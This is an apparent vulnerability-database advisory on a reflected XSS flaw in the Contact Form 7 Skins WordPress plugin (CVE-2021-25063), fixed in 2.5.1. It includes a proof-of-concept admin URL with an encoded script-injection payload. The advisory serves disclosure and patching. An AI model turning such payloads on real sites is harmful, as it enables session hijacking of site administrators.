WordPress Plugin Vulnerabilities

Contact Form 7 Skins < 2.5.1 - Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%281%29%3E

(requires the Contact Form 7 plugin to be installed)

Affects Plugins

contact-form-7-skins

Fixed in version 2.5.1

References

CVE

CVE-2021-25063

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

e2185887-3e53-4089-aa3f-981c944ee0bb

Timeline

Publicly Published

2022-01-03 (about 8 months ago)

Added

2022-01-03 (about 8 months ago)

Last Updated

2022-04-12 (about 5 months ago)

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